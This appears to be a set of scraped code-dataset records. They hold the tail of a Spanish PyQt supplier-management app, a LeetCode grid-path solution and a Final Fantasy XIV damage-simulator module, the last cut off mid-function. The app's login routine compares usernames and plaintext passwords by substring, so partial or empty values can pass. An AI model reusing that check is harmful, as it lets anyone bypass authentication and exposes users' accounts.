Proveedores.ConsultaRazonSocial(val)\n if aux in \"NIT\":\n data = Proveedores.ConsultaNit(val)\n fila = 0\n self.TConsultaProveedores.setRowCount(len(data))\n\n for num in data:\n fecha = \"{}\".format(num[1])\n self.TConsultaProveedores.setItem(fila, 0, QTableWidgetItem(num[0]))\n self.TConsultaProveedores.setItem(fila, 1, QTableWidgetItem(fecha))\n self.TConsultaProveedores.setItem(fila, 2, QTableWidgetItem(num[2]))\n self.TConsultaProveedores.setItem(fila, 3, QTableWidgetItem(num[3]))\n self.TConsultaProveedores.setItem(fila, 4, QTableWidgetItem(num[4]))\n self.TConsultaProveedores.setItem(fila, 5, QTableWidgetItem(num[5]))\n self.TConsultaProveedores.setItem(fila, 6, QTableWidgetItem(num[6]))\n self.TConsultaProveedores.setItem(fila, 7, QTableWidgetItem(num[7]))\n self.TConsultaProveedores.setItem(fila, 8, QTableWidgetItem(num[8]))\n self.TConsultaProveedores.setItem(fila, 9, QTableWidgetItem(num[9]))\n self.TConsultaProveedores.setItem(fila, 10, QTableWidgetItem(num[10]))\n self.TConsultaProveedores.setItem(fila, 11, QTableWidgetItem(num[11]))\n fila += 1\n self.TConsultaProveedores.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.TConsultaProveedores.setSelectionMode(QAbstractItemView.SingleSelection)\n self.TConsultaProveedores.selectionModel().selectionChanged.connect(self.seleccionar)\n\n\n\n\nclass IniciarSesion:\n def Verificar(usua, contra):\n mycursor.execute(sqlselectUsuarios, (usua,))\n myresult = mycursor.fetchall()\n usuaa = metodos.convertTuple(usua)\n contraa = metodos.convertTuple(contra)\n usuaB = \" \"\n contraB = \" \"\n for row in myresult:\n usuaB = row[0]\n contraB = row[1]\n if usuaa in usuaB:\n if contraB in contraa:\n return True\n else:\n print(\"contra F\")\n return False\n else:\n print(\"F usua\")\n return False\n\n\n\n","repo_name":"Alonso-Acosta/ProyectoSalle","sub_path":"Programa/BaseDatos.py","file_name":"BaseDatos.py","file_ext":"py","file_size_in_byte":29060,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23514450084","text":"\ndef uniquePathsWithObstacles(obstacleGrid):\n m = len(obstacleGrid)\n n = len(obstacleGrid[0])\n dp = []\n for i in range(m):\n dp.append([0] * n)\n \n for i in range(m):\n for j in range(n):\n if i == 0 and j == 0:\n dp[0][0] = 1 if obstacleGrid[0][0] != 1 else 0\n elif i == 0 and j != 0:\n dp[i][j] = dp[i][j-1] if obstacleGrid[i][j] != 1 else 0\n elif i != 0 and j == 0:\n dp[i][j] = dp[i-1][j] if obstacleGrid[i][j] != 1 else 0\n else:\n dp[i][j] += dp[i-1][j] if obstacleGrid[i][j] != 1 else 0\n dp[i][j] += dp[i][j-1] if obstacleGrid[i][j] != 1 else 0\n\n return dp[-1][-1]\n\nif __name__ == \"__main__\":\n x = [\n [0,0,0],\n [0,1,0],\n [0,0,0]\n ]\n print(uniquePathsWithObstacles([[0]]))\n\n\n\n ","repo_name":"imzhuhl/leetcode-problem","sub_path":"python3/0063.py","file_name":"0063.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18965054916","text":"import copy\r\nimport logging\r\n\r\nmain_logging = logging.getLogger(\"ffxivcalc\")\r\nbase_spell_logging = main_logging.getChild(\"Base_Spell\")\r\n\r\nfrom ffxivcalc.Jobs.ActionEnum import name_for_id\r\nimport math\r\nfrom ffxivcalc.Jobs.PlayerEnum import JobEnum\r\nfrom ffxivcalc.Jobs.PlayerEnum import RoleEnum\r\nfrom ffxivcalc.helperCode.requirementHandler import failedRequirementEvent\r\nfrom random import random, uniform\r\nfrom ffxivcalc.helperCode.helper_math import roundDown\r\nLock = 0.75\r\n\r\nclass FailedToCast(Exception):#Exception called if a spell fails to cast\r\n pass\r\n\r\n\r\nclass buff:\r\n \"\"\"\r\n This class is any buff given to a player. It contains the buff's value\r\n \"\"\"\r\n def __init__(self, MultDPS):\r\n self.MultDPS = MultDPS #DPS multiplier of the buff\r\n\r\nclass buffHistory:\r\n \"\"\"\r\n This class represents an interval of time in which a buff was present.\r\n \"\"\"\r\n\r\n def __init__(self, StartTime : float, EndTime : float):\r\n self.StartTime = StartTime\r\n self.EndTime = EndTime\r\n\r\n def __str__(self) -> str:\r\n return \"Buff start : \" + str(self.StartTime) + \" end : \" + str(self.EndTime)\r\n\r\n def isUp(self, timeStamp : float) -> bool:\r\n \"\"\"\r\n This function returns weither the buff was active under the given timeStamp\r\n timeStamp : float -> Timestamp in secconds\r\n \"\"\"\r\n return timeStamp >= self.StartTime and timeStamp <= self.EndTime\r\n \r\nclass buffPercentHistory(buffHistory):\r\n \"\"\"\r\n This class is a buffHistory that was a percent damage bonus. This class will also hold\r\n the percent bonus gained from the buff.\r\n \"\"\"\r\n\r\n def __init__(self, StartTime : float, EndTime : float, PercentBonus : float):\r\n super().__init__(StartTime, EndTime)\r\n self.PercentBonus = PercentBonus \r\n # Used by Shadow to know if buff is trick attack\r\n self.isTrickAttack = False\r\n\r\n def __str__(self) -> str:\r\n return super().__str__() + \" percentBonus : \" + str(self.PercentBonus)\r\n\r\n def getPercentBonus(self) -> float:\r\n \"\"\"\r\n This function returns the PercentBonus of this buff\r\n \"\"\"\r\n return self.PercentBonus\r\n \r\nclass ZIPAction:\r\n \"\"\"\r\n This class holds the information of an action's damage. It will be used to efficiently and quicly compute\r\n many runs with random crit and DH in order to get the DPS distribution of runs. In other words, ZIPActions\r\n are a \"pre-baked\" version of the normal Spell class.\r\n Damage (int) : Value corresponding to the pre computed damage value of the action. Doesn't include DH and Crit damage.\r\n CritChange (float) : Chance for the action to crit.\r\n CritMultiplier (float) : Crit multiplier of the action.\r\n AutoCritBonus (float) : Damage bonus from crit buff when auto crit.\r\n DHChance (float) : Chance for the action to DH.\r\n AutoDHBonus (float) : Damage bonus from direct hit when auto direct hit.\r\n \"\"\"\r\n\r\n def __init__(self, Damage : int, CritChance : float, CritMultiplier : float, DHChance : float, auto_crit : bool = False, auto_dh : bool = False, AutoCritBonus : float = 1, AutoDHBonus : float = 1):\r\n self.Damage = Damage\r\n self.CritChance = CritChance\r\n self.CritMultiplier = CritMultiplier\r\n self.DHChance = DHChance\r\n self.auto_crit = auto_crit\r\n self.auto_dh = auto_dh\r\n self.AutoCritBonus = AutoCritBonus\r\n self.AutoDHBonus = AutoDHBonus\r\n\r\n def ComputeRandomDamage(self) -> int:\r\n \"\"\"\r\n This function computes random damage of an action.\r\n \"\"\"\r\n\r\n CritHit = (random() <= self.CritChance)\r\n DirectHit = ((random() <= self.DHChance))\r\n\r\n UniformDamage = math.floor(self.Damage * uniform(0.95, 1.05))\r\n CritDamage = math.floor(UniformDamage * (1 + self.CritMultiplier if CritHit else 1) * (self.AutoCritBonus if self.auto_crit else 1))\r\n DHDamage = math.floor(CritDamage * (1.25 if DirectHit else 1) * (self.AutoDHBonus if self.auto_dh else 1))\r\n return DHDamage\r\n\r\nclass PreBakedAction:\r\n \"\"\"\r\n This class is similar to ZIPAction, but it has less preprocessing than a ZIPAction does.\r\n A PreBakedAction only has the given buffs in memory since the Stats of the player are not assumed\r\n constant when computing the damage.\r\n IsTank : bool -> If player is a tank. In which case f_MAIN_DAMAGE is different.\r\n MainStatPercentageBonus : float -> PercentageBonus of the MainStat (given by comp)\r\n HasPotionEffect : bool -> If the Action is under the effect of a tincture. Assumed to be Grade 8 HQ\r\n PercentageBonus : list(float) -> Bonus multiplier of the action\r\n CritBonus : float -> Crit bonus of the action\r\n DHBonus : float -> DH Bonus of the action\r\n type : int -> type of the damage\r\n timeStamp : float -> Timestamp of the action\r\n AutoCrit : bool -> If is an auto crit (true)\r\n AutoDH : bool -> if is an auto DH (true)\r\n isFromPet : bool -> True if a Pet PreBakedAction\r\n isGCD : bool -> True if the action is a GCD\r\n gcdLockTimer : float -> Time value for which the player cannot take another GCD action.\r\n spellDPSBuff : float -> Flat bonus applied on this action\r\n isConditionalAction : bool -> True if this action is a conditional Action.\r\n \"\"\"\r\n\r\n def __init__(self, IsTank : bool, MainStatPercentageBonus : float, buffList : list,\r\n TraitBonus : float, Potency : int, type : int, timeStamp : float, \r\n nonReducableStamp : float, reducableStamp : float, AutoCrit : bool = False, AutoDH : bool = False,\r\n isFromPet : bool = False, isGCD : bool = False,gcdLockTimer : float = 0, spellDPSBuff : float = 1,\r\n isConditionalAction : bool = False ):\r\n self.IsTank = IsTank\r\n self.MainStatPercentageBonus = MainStatPercentageBonus\r\n #self.HasPotionEffect = HasPotionEffect\r\n self.buffList = buffList # This holds all buff that are not raid buffs, since those can be affected by f_SPD. So RaidBuffs are in PercentageBonus\r\n self.TraitBonus = TraitBonus\r\n self.type = type\r\n self.timeStamp = timeStamp\r\n self.Potency = Potency\r\n self.gcdLockTimer = gcdLockTimer\r\n\r\n self.nonReducableStamp = nonReducableStamp\r\n self.reducableStamp = reducableStamp\r\n\r\n self.AutoCrit = AutoCrit\r\n self.AutoDH = AutoDH\r\n self.AutoCritBonus = 1\r\n self.AutoDHBonus = 1\r\n \r\n self.isFromPet = isFromPet\r\n self.isGCD = isGCD\r\n self.spellDPSBuff = spellDPSBuff\r\n\r\n # These values are computed once the PreBakedAction is being looped\r\n # through in SimulatePreBakedFight.\r\n self.CritBonus = 0\r\n self.DHBonus = 0\r\n self.PercentageBonus = []\r\n\r\n self.isConditionalAction = isConditionalAction\r\n\r\n def resetTimeSensibleBuff(self):\r\n \"\"\"\r\n This function resets the value for CritBonus, DHBonus and PercentageBonus.\r\n \"\"\"\r\n self.CritBonus = 0\r\n self.DHBonus = 0\r\n self.PercentageBonus = []\r\n\r\n def ComputeExpectedDamage(self, f_MAIN_DMG : float, f_WD : float, f_DET : float, f_TEN : float, f_SPD : float, f_CritRate : float, f_CritMult : float, f_DH : float, DHAuto : float):\r\n \"\"\"\r\n This function is called to compute the damage of the action.\r\n This function requires all the values computed from the stat of the player\r\n These values can be computed using the Fight.ComputeFunctions logic.\r\n This function also returns Damage without crit and DH in order to facilitate the computation\r\n of random action damage in ComputeRandomDamage (which is computed afterward)\r\n n : int -> number of time for which the PreBakedAction will compute the random damage.\r\n \"\"\"\r\n\r\n f_DET_DH = math.floor((f_DET + DHAuto) * 1000 ) / 1000\r\n\r\n\r\n # Hardcoded for now\r\n\r\n if self.isFromPet : f_WD = (132+math.floor(390*100/1000))/100\r\n\r\n Damage = 0\r\n if self.type == 0: # Type 0 is direct damage\r\n Damage = math.floor(math.floor(math.floor(math.floor(math.floor(self.Potency * f_MAIN_DMG) * (f_DET_DH if (self.AutoCrit and self.AutoDH) else f_DET)) * f_TEN ) *f_WD) * self.TraitBonus) # Player.Trait is trait DPS bonus\r\n elif self.type == 1: # Type 1 is magical DOT\r\n Damage = math.floor(math.floor(math.floor(math.floor(math.floor(math.floor(self.Potency * f_WD) * f_MAIN_DMG) * f_SPD) * f_DET) * f_TEN) * self.TraitBonus) + 1\r\n elif self.type == 2: # Type 2 is physical DOT\r\n Damage = math.floor(math.floor(math.floor(math.floor(math.floor(math.floor(self.Potency * f_MAIN_DMG) * f_DET) * f_TEN) * f_SPD) * f_WD) * self.TraitBonus) + 1\r\n elif self.type == 3: # Auto-attacks\r\n Damage = math.floor(math.floor(math.floor(math.floor(self.Potency * f_MAIN_DMG) * f_DET) * f_TEN) * f_SPD)\r\n Damage = math.floor(math.floor(Damage * math.floor(f_WD * (3/3) *100 )/100) * self.TraitBonus) # Player.Delay is assumed to be 3 for simplicity for now\r\n \r\n Damage = math.floor(Damage * self.spellDPSBuff)\r\n\r\n for buff in self.PercentageBonus:\r\n Damage = math.floor(Damage * buff)\r\n\r\n \r\n auto_crit_bonus = (1 + self.CritBonus * f_CritMult) if self.AutoCrit else 1# Auto_crit bonus if buffed\r\n auto_dh_bonus = (1 + (self.DHBonus) * 0.25) if self.AutoDH else 1# Auto_DH bonus if buffed\r\n\r\n ExpectedDamage = math.floor(Damage * (1 + ( (f_CritRate + self.CritBonus) if not self.AutoCrit else 1) * f_CritMult))\r\n ExpectedDamage = math.floor(ExpectedDamage * (1 + ((f_DH + self.DHBonus) if not self.AutoDH else 1) * 0.25))\r\n ExpectedDamage = math.floor(ExpectedDamage * auto_crit_bonus)\r\n ExpectedDamage = math.floor(ExpectedDamage * auto_dh_bonus)\r\n\r\n base_spell_logging.debug(\"PreBakedAction has expected damage of \" + str(ExpectedDamage) + \" Potency :\" + str(self.Potency) +\" Trait : \" + str(self.TraitBonus) + \" critBonus : \" + str(self.CritBonus) + \" DHBonus : \" + str(self.DHBonus))\r\n base_spell_logging.debug(str((f_MAIN_DMG, f_WD, f_DET, f_TEN, f_SPD, f_CritRate, f_CritMult, f_DH)))\r\n\r\n return ExpectedDamage, Damage\r\n \r\n def ComputeRandomDamage(self,Damage : int, f_CritRate : float, f_CritMult : float, f_DH : float) -> int:\r\n \"\"\"\r\n This function computes random damage of a PreBakedAction. It uses the Damage value precomputed in the\r\n ComputeExpectedDamage in order to make the computation faster.\r\n Damage : int -> Damage value without Crit/DH.\r\n Relevant player values fr Crit/DH.\r\n \"\"\"\r\n # Checking if Critical and/or DH.\r\n CritHit = (random() <= (f_CritRate + self.CritBonus)) or self.AutoCrit\r\n DirectHit = ((random() <= (f_DH + self.DHBonus))) or self.AutoDH\r\n\r\n auto_crit_bonus = (1 + (self.CritBonus * f_CritMult)) if self.AutoCrit else 1# Auto_crit bonus if buffed\r\n auto_dh_bonus = (1 + (self.DHBonus * 0.25)) if self.AutoDH else 1# Auto_DH bonus if buffed\r\n\r\n UniformDamage = math.floor(Damage * uniform(0.95, 1.05))\r\n CritDamage = math.floor(UniformDamage * (1 + f_CritMult if CritHit else 1) * (self.AutoCritBonus if self.AutoCrit else 1))\r\n RandomDamage = math.floor(CritDamage * (1.25 if DirectHit else 1) * (self.AutoDHBonus if self.AutoDH else 1))\r\n RandomDamage = math.floor(RandomDamage * auto_crit_bonus)\r\n RandomDamage = math.floor(RandomDamage * auto_dh_bonus)\r\n\r\n return RandomDamage\r\n\r\nclass Spell:\r\n \"\"\"\r\n This class is any Spell, it will have some subclasses to take Job similar spell, etc.\r\n \"\"\"\r\n def __init__(self, id : int, GCD : bool, CastTime : float, RecastTime : float, Potency : int, ManaCost : int, Effect, Requirement, type : int = 0, aoe_fn = None, AOEHeal = False, TargetHeal = False):\r\n \"\"\"\r\n Initialization of a Spell\r\n id : int -> id to identify the action\r\n GCD : bool -> True if the action is a GCD\r\n CastTime : float -> Cast time of the action\r\n RecastTime : float -> Recast time of the action\r\n Potency : int -> base potency of the action\r\n Manacost : int -> base manacost of the action\r\n Effect : function -> A function called upon the execution of the action which affects the player and the enemy.\r\n Requirement : (function -> Bool) -> function called upon the execution to verify if the action can be executed.\r\n type (int) : Type of the action. The types are Spell, Weaponskill and Ability. Type = 0 is ability, type = 1 is Spell and type = 2 is Weaponskill.\r\n aoe_fn (function) : Function that will be called (eeeeeeh)\r\n AOEHeal : bool -> True if the action is an AOE healing action\r\n TargetHeal : bool -> True if the action is a target healing action\r\n \"\"\"\r\n\r\n if aoe_fn == None:\r\n def f():\r\n pass\r\n self.aoe_fn = f\r\n\r\n self.id = id\r\n self.GCD = GCD #True if GCD\r\n self.Potency = Potency\r\n self.ManaCost = ManaCost\r\n self.CastTime = CastTime\r\n self.RecastTime = RecastTime\r\n self.Effect = [Effect]\r\n self.Requirement = Requirement\r\n self.DPSBonus = 1\r\n self.TargetID = 0 #By default 0\r\n self.type = type \r\n self.AOEHeal = AOEHeal\r\n self.TargetHeal = TargetHeal\r\n self.conditionalAction = False\r\n\r\n def Cast(self, player, Enemy):\r\n \"\"\"\r\n This function is called by the simulator when an action is ready to begin its casting. It checks for the requirement and apply all effect\r\n currently in the fight that can affect the action. It will lock the player into casting mode if necessary. The action is not executed here\r\n and is in a way being preapred to be executed. It will be checked if the action can be done.\r\n player : player -> player object casting\r\n Enemey : Enemy -> Enemy object on which the action is done.\r\n \"\"\"\r\n tempSpell = copy.deepcopy(self)\r\n #Creating a tempSpell which will have its values changed according that what effect\r\n #the player and the enemy have\r\n #Will apply each effect the player currently has on the spell\r\n if self.id != -1: #id = -1 is WaitAbility, we don't want anything with that\r\n for Effect in player.EffectList:\r\n Effect(player, tempSpell)#Changes tempSpell\r\n for Effect in Enemy.EffectList:\r\n Effect(player, tempSpell)#Changes tempSpell\r\n #Checks if we meet the spell requirement\r\n\r\n # Round casting and recasting time :\r\n\r\n tempSpell.notRoundCastTime = tempSpell.CastTime\r\n tempSpell.notRoundRecastTime = tempSpell.RecastTime\r\n\r\n tempSpell.CastTime = roundDown(tempSpell.CastTime, 3)\r\n tempSpell.RecastTime = roundDown(tempSpell.RecastTime, 3)\r\n\r\n\r\n\r\n #Remove all effects that have to be removed\r\n\r\n for remove in player.EffectToRemove:\r\n player.EffectList.remove(remove) #Removing effect\r\n for add in player.EffectToAdd:\r\n player.EffectList.append(add)\r\n \r\n player.EffectToRemove = [] #Empty the remove list\r\n player.EffectToAdd = []\r\n\r\n for Requirement in tempSpell.Requirement:\r\n ableToCast, timeLeft = Requirement(player, tempSpell)\r\n\r\n # I just realized that this logic has an issue. If a time based requirement fails, then the simulator checks\r\n # if we can just wait. If it can it omits to check all other requirements. Effectively ignoring other requirements\r\n # that could result in a simulation crash. Leaving this here so I don't forget to look deeper into it\r\n # at a later point.\r\n\r\n if(not ableToCast): #Requirements return both whether it can be casted and will take away whatever value needs to be reduced to cast\r\n #Will check if timeLeft is within a margin, so we will just wait for it to come\r\n #timeLeft is the remaining time before the spell is available\r\n\r\n addInfo = \"\" if timeLeft <= 0 else \"player had to wait for or would have to wait for \" + str(timeLeft) + \" seconds. GCDLock \" + str(player.GCDLockTimer)\r\n\r\n fatal = not(timeLeft <= player.CurrentFight.waitingThreshold and timeLeft > 0) and (player.CurrentFight.RequirementOn) # true if stops the simulation\r\n\r\n newFailedRequirementEvent = failedRequirementEvent(player.CurrentFight.TimeStamp, player.playerID, Requirement.__name__, addInfo, fatal) # Recording the event\r\n player.CurrentFight.failedRequirementList.append(newFailedRequirementEvent) # storing the event in memory\r\n\r\n log_str = (\"FailedRequirementEvent, \" + \" , Timestamp : \" + str(player.CurrentFight.TimeStamp)\r\n + \" , PlayerID : \" + str(player.playerID) + \" , RequirementName : \" + Requirement.__name__ + \" , Fatal : \" + str(fatal) + \" , Info : \" + addInfo)\r\n\r\n if fatal : base_spell_logging.critical(log_str) # if fatal makes the sim crash\r\n else : base_spell_logging.warning(log_str) # if not fatal doesn't crash the sim\r\n \r\n if not (player.CurrentFight.RequirementOn) : return tempSpell # If we do not care about requirement simply go on.\r\n elif timeLeft <= player.CurrentFight.waitingThreshold and timeLeft > 0: # If we care about requirement, we check if we can wait the allocated threshold. if we can we wait for it to come off cooldown.\r\n # Limit of waiting for 1 sec\r\n tempSpell = WaitAbility(timeLeft + 0.01)\r\n player.ActionSet.insert(player.NextSpell, tempSpell)\r\n return tempSpell #Makes the character wait\r\n #Might remove some stuff tho, might have to check into that (for when effects are applied)\r\n \r\n player.CurrentFight.wipe = True # otherwise we stop the simulation \r\n return tempSpell\r\n #Will make sure CastTime is at least Lock\r\n if tempSpell.id > 0 and tempSpell.CastTime < Lock : tempSpell.CastTime = 0 #id < 0 are special abilities like DOT, so we do not want them to be affected by that\r\n return tempSpell\r\n #Will put casting spell in player, and do damage/effect once the casting time is over\r\n\r\n\r\n def CastFinal(self, player, Enemy):\r\n\r\n \"\"\"\r\n This function is called when an action is ready to be casted and apply its damage and effect.\r\n player : player -> player object casting\r\n Enemy : Enemy -> Enemy object on which the action is done.\r\n \"\"\"\r\n \r\n for Effect in self.Effect:\r\n Effect(player, Enemy)#Put effects on Player and/or Enemy\r\n\r\n # Recomputing recastTime if new Haste has been added.\r\n if player.hasteHasChanged: player.recomputeRecastLock(isSpell=(player.RoleEnum == RoleEnum.Caster))\r\n\r\n #This will include substracting the mana (it has been verified before that the mana was enough)\r\n minDamage, Damage, Heal = 0,0,0\r\n if self.AOEHeal or self.TargetHeal:\r\n type = 1\r\n if self.AOEHeal:\r\n # Affects all players\r\n for gamer in player.CurrentFight.PlayerList:\r\n Heal = player.CurrentFight.ComputeHealingFunction(player, self.Potency, gamer, 1, type, self)[0]\r\n #base_spell_logging.debug(\r\n # \"Timestamp : \" + str(player.CurrentFight.TimeStamp) + \" Player \" + str(gamer.playerID) + \"received a healing of min value : \" + str(heal[0])\r\n #)\r\n gamer.HP += Heal\r\n else:\r\n type = 0 #Default value for type\r\n if isinstance(self, Auto_Attack):\r\n type = 3\r\n elif isinstance(self, DOTSpell): #Then dot\r\n #We have to figure out if its a physical dot or not\r\n if self.isPhysical: type = 2\r\n else: type = 1 \r\n\r\n\r\n if player.CurrentFight.SavePreBakedAction:\r\n # Adding to totalTimeNoFaster\r\n if self.GCD and self.RecastTime <= 1.5: # We check that the spellObj has recastTime lower than 1.5 and that it is not the last spell (since all those are insta cast)\r\n if player.isLastGCD(player.NextSpell): # if last GCD, add CastTime\r\n player.totalTimeNoFaster += self.notRoundCastTime\r\n else: # Else adding recastTime. \r\n player.totalTimeNoFaster += self.notRoundRecastTime\r\n elif not self.GCD and player.isLastGCD(player.NextSpell) : \r\n # Is an oGCD\r\n player.totalTimeNoFaster += self.notRoundCastTime\r\n elif self.GCD and (player.RoleEnum == RoleEnum.Caster) and self.type == 2: # If is a weaponskill and has Spell speed. Only needed for RDM now\r\n if player.isLastGCD(player.NextSpell): # if last GCD, add CastTime\r\n player.totalTimeNoFaster += self.CnotRoundastTime\r\n else: # Else adding recastTime. \r\n player.totalTimeNoFaster += self.notRoundRecastTime\r\n elif self.GCD and (player.RoleEnum == RoleEnum.Melee or player.RoleEnum == RoleEnum.Tank) and self.type == 1: # If is a spell and has skill speed\r\n if player.isLastGCD(player.NextSpell): # if last GCD, add CastTime\r\n player.totalTimeNoFaster += self.notRoundCastTime\r\n else: # Else adding recastTime. \r\n player.totalTimeNoFaster += self.notRoundRecastTime\r\n\r\n # If the action has 0 potency we skip the computation\r\n # Note that this also means the action won't be added as a ZIPAction for the player.\r\n if self.Potency != 0 : minDamage,Damage= player.CurrentFight.ComputeDamageFunction(player, self.Potency, Enemy, self.DPSBonus, type, self, SavePreBakedAction = player.CurrentFight.SavePreBakedAction, PlayerIDSavePreBakedAction = player.playerID) #Damage computation\r\n \r\n # move this before damage??????\r\n if player.JobEnum == JobEnum.Pet and self.Potency != 0: # Is a pet and action does damage\r\n\r\n # Updating damage and potency\r\n player.Master.TotalPotency+= self.Potency\r\n player.Master.TotalDamage += Damage\r\n player.Master.TotalMinDamage += minDamage\r\n\r\n # Updating Enemity\r\n if player.Master.RoleEnum == RoleEnum.Tank and player.Master.TankStanceOn:\r\n # If the player is a tank and have their tank stance on\r\n player.Master.TotalEnemity += Damage/1000\r\n # This Enemity computation is arbitrary and is simply based on the fact that a tank with tank stance on\r\n # generates 10 times the enemity of a player without tank stance.\r\n # The value is made arbitrarily small in order to avoid too big numbers\r\n else:\r\n player.Master.TotalEnemity += Damage/10000\r\n elif self.Potency != 0: # Is not a pet and action does damage\r\n # Updating damage and potency\r\n player.TotalPotency+= self.Potency\r\n player.TotalDamage += Damage\r\n player.TotalMinDamage += minDamage\r\n\r\n # Updating Enemity\r\n if player.RoleEnum == RoleEnum.Tank and player.TankStanceOn:\r\n # If the player is a tank and have their tank stance on\r\n player.TotalEnemity += Damage/1000\r\n # This Enemity computation is arbitrary and is simply based on the fact that a tank with tank stance on\r\n # generates 10 times the enemity of a player without tank stance.\r\n # The value is made arbitrarily small in order to avoid too big numbers\r\n else:\r\n player.TotalEnemity += Damage/10000\r\n\r\n Enemy.TotalPotency+= self.Potency #Adding Potency\r\n Enemy.TotalDamage += Damage #Adding Damage\r\n\r\n # This code starts the fight the first time a damaging action is done.\r\n if not (player.CurrentFight.FightStart) and Damage > 0 : \r\n base_spell_logging.debug(\"Fight has started after the action \"+name_for_id(player.CastingSpell.id,player.ClassAction, player.JobAction)+\" done by player \" + str(player.playerID))\r\n player.CurrentFight.FightStart = True\r\n # Giving all players AA\r\n for gamer in player.CurrentFight.PlayerList:\r\n if gamer.JobEnum == JobEnum.Monk: gamer.DOTList.append(copy.deepcopy(Monk_Auto))\r\n elif gamer.RoleEnum == RoleEnum.Melee or gamer.JobEnum == JobEnum.Dancer or gamer.RoleEnum == RoleEnum.Tank:\r\n gamer.DOTList.append(copy.deepcopy(Melee_AADOT))\r\n elif gamer.RoleEnum == RoleEnum.PhysicalRanged:\r\n gamer.DOTList.append(copy.deepcopy(Ranged_AADOT))\r\n\r\n # Will record the starting HP of every player for graph\r\n for gamer in player.CurrentFight.PlayerList:\r\n gamer.HPGraph[0].append(0)\r\n gamer.HPGraph[1].append(gamer.HP)\r\n\r\n # Will update the NextSpell of the player\r\n if (not (isinstance(self, DOTSpell))) : player.NextSpell+=1 # Only increase counter if action was not a DOT\r\n # Checks if player has no more actions\r\n if (player.NextSpell == len(player.ActionSet)):\r\n if player.RoleEnum == RoleEnum.Pet: # If the player is a pet simply lock it\r\n player.TrueLock = True\r\n else: # Else we will call NextAction on this player before locking it\r\n player.NoMoreAction = True\r\n \r\n if self.GCD: player.GCDCounter += 1 # If action was a GCD, increase the counter\r\n\r\n if self.id > 0 or player.RoleEnum == RoleEnum.Pet or type==3: # Only logs if is a player action and not a DOT\r\n log_str = ( \"Timestamp : \" + str(player.CurrentFight.TimeStamp)\r\n + \" , Event : end_cast\"\r\n + (\" , playerID : \" + str(player.playerID) if player.JobEnum != JobEnum.Pet else \" , MasterID : \" + str(player.Master.playerID))\r\n + \" , CastTime : \" + str(self.CastTime) + \" RecastTime : \" + str(self.RecastTime)\r\n + \" , Ability : \" + name_for_id(self.id,player.ClassAction, player.JobAction)\r\n + \" , SpellBonus : \" + str(self.DPSBonus)\r\n + \" , Potency : \" + str(self.Potency)\r\n + (\" , Damage : \" + str(Damage) if not (self.AOEHeal or self.TargetHeal) else \" , Healing : \" + str(Heal)))\r\n \r\n base_spell_logging.debug(log_str)\r\n\r\n if self.Potency > 0: player.DamageInstanceList.append(Damage)\r\n if player.RoleEnum == RoleEnum.Pet and self.Potency > 0 : player.Master.DamageInstanceList.append(Damage)\r\n\r\n return self # Return the spell object. Might not be needed.\r\n\r\ndef ManaRequirement(player, Spell):\r\n \"\"\"\r\n Requirement function for mana\r\n \"\"\"\r\n if player.Mana >= Spell.ManaCost :\r\n player.Mana -= Spell.ManaCost #ManaRequirement is the only Requirement that actually removes Ressources\r\n return True, -1\r\n return player.CurrentFight.IgnoreMana, -1 # Ignore mana is a field of the fight set to true if we ignore the mana\r\n\r\ndef empty(Player, Enemy):\r\n pass\r\n\r\ndef WaitAbility(time : float):\r\n \"\"\"\r\n This returns an action where the player waits for a certain amount of time given\r\n time : float\r\n \"\"\"\r\n def ApplyWaitAbility(Player, Enemy):\r\n pass\r\n WaitAction = Spell(212, False, time, time, 0, 0, ApplyWaitAbility, [])\r\n WaitAction.waitTime = time #Special field just for wait ability\r\n return WaitAction\r\n\r\ndef ApplyPotion(Player, Enemy):\r\n \"\"\"\r\n Functions applies a potion and boosts the main stat of the player\r\n \"\"\"\r\n Player.mainStatBonus = min(math.floor(Player.Stat[\"MainStat\"] * 0.1),262) # Capped from grade 8 HQ tincture\r\n Player.Stat[\"MainStat\"] += Player.mainStatBonus\r\n Player.PotionTimer = 30\r\n\r\n Player.EffectCDList.append(PotionCheck)\r\n\r\n # Only relevant to PreBakedAction and only does that code if true\r\n if Player.CurrentFight.SavePreBakedAction:\r\n fight = Player.CurrentFight\r\n # If prepull, make it start at 0.05\r\n startTime = fight.TimeStamp if fight.FightStart else -0.05\r\n history = buffHistory(startTime, startTime + 30)\r\n Player.PotionHistory.append(history)\r\n\r\ndef PrepullPotion(Player, Enemy): #If potion is prepull\r\n \"\"\"\r\n If the potion is prepull\r\n \"\"\"\r\n ApplyPotion(Player, Enemy)\r\n Player.PotionTimer = 27 #Assume we loose a bit on it\r\n Player.EffectToRemove.append(PrepullPotion)\r\n\r\ndef PotionCheck(Player, Enemy):\r\n \"\"\"\r\n Check of potion effect\r\n \"\"\"\r\n if Player.PotionTimer <= 0:\r\n Player.Stat[\"MainStat\"] -= Player.mainStatBonus #Assuming we are capped\r\n Player.EffectCDList.remove(PotionCheck)\r\n\r\n\r\nclass DOTSpell(Spell):\r\n \"\"\"\r\n This class is any DOT. The action applying a dot will append a DOT object from this class (or any subclass of DOTSpell) which will do damage over time.\r\n \"\"\"\r\n #Represents DOT\r\n def __init__(self, id, Potency, isPhysical):\r\n \"\"\"\r\n id : int -> id of the dot. Dot have negative ids\r\n Potency : int -> base potency of the DOT\r\n isPhysical : bool -> True if the dot is physical\r\n \"\"\"\r\n super().__init__(id, False, 0, 0, Potency, 0, empty, [])\r\n #Note that here Potency is the potency of the dot, not of the ability\r\n self.DOTTimer = 0 #This represents the timer of the dot, and it will apply at each 3 seconds\r\n self.isPhysical = isPhysical #True if physical dot, false if magical dot\r\n\r\n #This part will keep in memory the buffs when the DOT is applied.\r\n self.CritBonus = 0\r\n self.DHBonus = 0\r\n self.MultBonus = []\r\n self.onceThroughFlag = False #This flag will be set to True once the DOT damage has been through damage computation once\r\n #so we can snapshot the buffs only once\r\n #Note that AAs do not snapshot buffs, but in the code they will still have these fields\r\n\r\n def CheckDOT(self, Player, Enemy, TimeUnit : float):\r\n \"\"\"\r\n This function is called every time unit of the simulation and will check if a dot will be applied. A dot is applied every 3 seconds.\r\n If a dot has to be applied it will Cast and Castfinal itself and reset its DOTTimer to 3 seconds.\r\n \"\"\"\r\n\r\n self.DOTTimer = max(0, self.DOTTimer-TimeUnit)\r\n\r\n 